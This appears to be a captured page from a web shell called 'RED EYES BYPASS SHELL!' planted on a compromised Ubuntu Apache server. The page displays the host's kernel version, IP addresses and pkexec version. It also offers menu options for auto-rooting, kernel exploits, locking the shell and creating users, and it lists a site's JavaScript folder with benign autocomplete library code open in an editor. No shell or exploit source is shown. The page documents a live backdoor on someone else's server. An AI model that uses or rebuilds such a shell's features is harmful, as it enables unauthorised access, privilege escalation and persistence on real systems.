Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
js /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
autocomplete.js
8.04
KB
-rwxr-xr-x
calendar.js
16.46
KB
-rwxr-xr-x
clock.js
2.76
KB
-rwxr-xr-x
common.js
22.6
KB
-rwxr-xr-x
datalist.js
8.23
KB
-rwxr-xr-x
ddmenu.js
7.72
KB
-rwxr-xr-x
ddpanel.js
2.1
KB
-rwxr-xr-x
dragdrop.js
2.62
KB
-rwxr-xr-x
editinplace.js
2.8
KB
-rwxr-xr-x
facebook.js
2.14
KB
-rwxr-xr-x
gajax.js
139.73
KB
-rwxr-xr-x
gbanner.js
7.88
KB
-rwxr-xr-x
google.js
1.9
KB
-rwxr-xr-x
graphs.js
36.78
KB
-rwxr-xr-x
inputgroup.js
3.37
KB
-rwxr-xr-x
loader.js
5.9
KB
-rwxr-xr-x
multiselect.js
2.61
KB
-rwxr-xr-x
pdpa.js
1.73
KB
-rwxr-xr-x
range.js
9.47
KB
-rwxr-xr-x
select.js
8.28
KB
-rwxr-xr-x
spline.js
5.58
KB
-rwxr-xr-x
table.js
19.77
KB
-rwxr-xr-x
uploads.js
11.4
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : autocomplete.js
/** * GAutoComplete * * @filesource js/autocomplete.js * @link https://www.kotchasan.com/ * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ */ (function() { "use strict"; window.GAutoComplete = GClass.create(); GAutoComplete.prototype = { initialize: function(id, o) { var options = { callBack: $K.emptyFunction, get: $K.emptyFunction, populate: $K.emptyFunction, populateLabel: $K.emptyFunction, onSuccess: $K.emptyFunction, onChanged: $K.emptyFunction, url: false, interval: 500 }; for (var property in o) { options[property] = o[property]; } var cancelEvent = false, showing = false, listindex = 0, list = [], req = new GAjax(), self = this; this.input = $G(id); this.text = this.input.value; this.dropdown = new GDropdown(this.input, { autoHeight: true, id: 'gautocomplete_div', className: 'gautocomplete' }); var display = this.dropdown.getDropdown(); function _movehighlight(id) { listindex = Math.max(0, id); listindex = Math.min(list.length - 1, listindex); var selItem = null; forEach(list, function() { if (listindex == this.itemindex) { this.addClass("select"); selItem = this; } else { this.removeClass("select"); } }); return selItem; } function _onSelect() { if (showing) { _hide(); try { self.input.datas = this.datas; options.callBack.call(this.datas, self.input); self.text = self.input.value; } catch (e) {} } } function _onSuccess(datas) { if (Object.isFunction(options.onSuccess)) { options.onSuccess.call(datas); } } var _mouseclick = function() { window.setTimeout(function() { self.input.focus(); }, 1); _onSelect.call(this); _onSuccess(this.datas); }; var _mousemove = function() { _movehighlight(this.itemindex); }; function _populateitems(datas) { display.innerHTML = ""; list = []; var f, i, r, p, n; for (i in datas) { if (datas[i]['options']) { r = options.populateLabel.call(datas[i], self.input); p = r.toDOM(); f = p.firstChild; $G(f).addClass('optgroup'); display.appendChild(p); for (n in datas[i]['options']) { r = options.populate.call(datas[i]['options'][n], self.input); if (r && r != "") { p = r.toDOM(); f = p.firstChild; f.datas = datas[i]['options'][n]; $G(f).addEvent("mousedown", _mouseclick); f.addEvent("mousemove", _mousemove); f.itemindex = list.length; list.push(f); display.appendChild(p); } } } else { r = options.populate.call(datas[i], self.input); if (r && r != "") { p = r.toDOM(); f = p.firstChild; f.datas = datas[i]; $G(f).addEvent("mousedown", _mouseclick); f.addEvent("mousemove", _mousemove); f.itemindex = list.length; list.push(f); display.appendChild(p); } } } _movehighlight(0); } function _hide() { self.input.removeClass("wait"); self.dropdown.hide(); showing = false; } var _search = function() { window.clearTimeout(self.timer); req.abort(); if (self.text != self.input.value) { options.onChanged.call(self.input); } if (!cancelEvent && options.url) { var q = options.get.call(this); if (q && q != "") { self.input.addClass("wait"); self.timer = window.setTimeout(function() { req.send(options.url, q, function(xhr) { self.input.removeClass("wait"); if (xhr.responseText !== "") { var datas = xhr.responseText.toJSON(); listindex = 0; if (datas) { _populateitems(datas); } else { display.innerHTML = xhr.responseText; } self.dropdown.show(); showing = true; } else { _hide(); } }); }, options.interval); } else { _hide(); } } cancelEvent = false; }; function _showitem(item) { if (item) { var top = item.getTop() - display.getTop(); var height = display.getHeight(); if (top < display.scrollTop) { display.scrollTop = top; } else if (top >= height) { display.scrollTop = top - height + item.getHeight(); } } } function _dokeydown(evt) { var key = GEvent.keyCode(evt); if (key == 40) { _showitem(_movehighlight(listindex + 1)); cancelEvent = true; } else if (key == 38) { _showitem(_movehighlight(listindex - 1)); cancelEvent = true; } else if (key == 13) { cancelEvent = true; this.removeClass("wait"); forEach(list, function() { if (this.itemindex == listindex) { _onSelect.call(this); } }); _onSuccess(list[listindex].datas); } else if (key == 32) { if (this.value == "") { _search(); cancelEvent = true; } } if (cancelEvent) { GEvent.stop(evt); } } this.input.addEvent("click", _search); this.input.addEvent("keyup", _search); this.input.addEvent("keydown", _dokeydown); this.input.addEvent("blur", function() { _hide(); }); $G(document.body).addEvent("click", function() { _hide(); }); }, setText: function(value) { this.input.value = value; this.text = value; }, valid: function() { this.input.valid(); this.text = this.input.value; }, invalid: function() { this.input.invalid(); this.text = this.input.value; }, reset: function() { this.input.reset(); this.text = this.input.value; } }; })(); function initAutoComplete(id, link, displayFields, icon, options) { var obj, df = displayFields.split(","); function doGetQuery() { var q = null, value = $E(id).value; if (value != "") { q = id + "=" + encodeURIComponent(value); } return q; } function doCallBack() { for (var prop in this) { $G(prop).setValue(this[prop] === null ? "" : this[prop]); } obj.valid(); } function doPopulateItem() { var datas = new Array(); for (var i in df) { if (this[df[i]] !== null && this[df[i]] != "") { datas.push(this[df[i]]); } } return datas.join(" ").unentityify(); } function doPopulateLabel() { return '<p><span class="icon-' + this.icon + '">' + this.label + '</span></p>'; } function doPopulate() { if ($E(id)) { var row = o.populateItem.call(this); forEach($E(id).value.replace(/[\s]+/, " ").split(" "), function() { if (this.length > 0) { var patt = new RegExp("(" + this.preg_quote() + ")", "gi"); row = row.replace(patt, "<em>$1</em>"); } }); return '<p><span class="icon-' + (icon || this.icon || "search") + '">' + row + "</span></p>"; } } var o = { get: doGetQuery, populate: doPopulate, populateItem: doPopulateItem, populateLabel: doPopulateLabel, callBack: doCallBack, url: link }; for (var prop in options) { o[prop] = options[prop]; } obj = new GAutoComplete(id, o); return obj; }
Close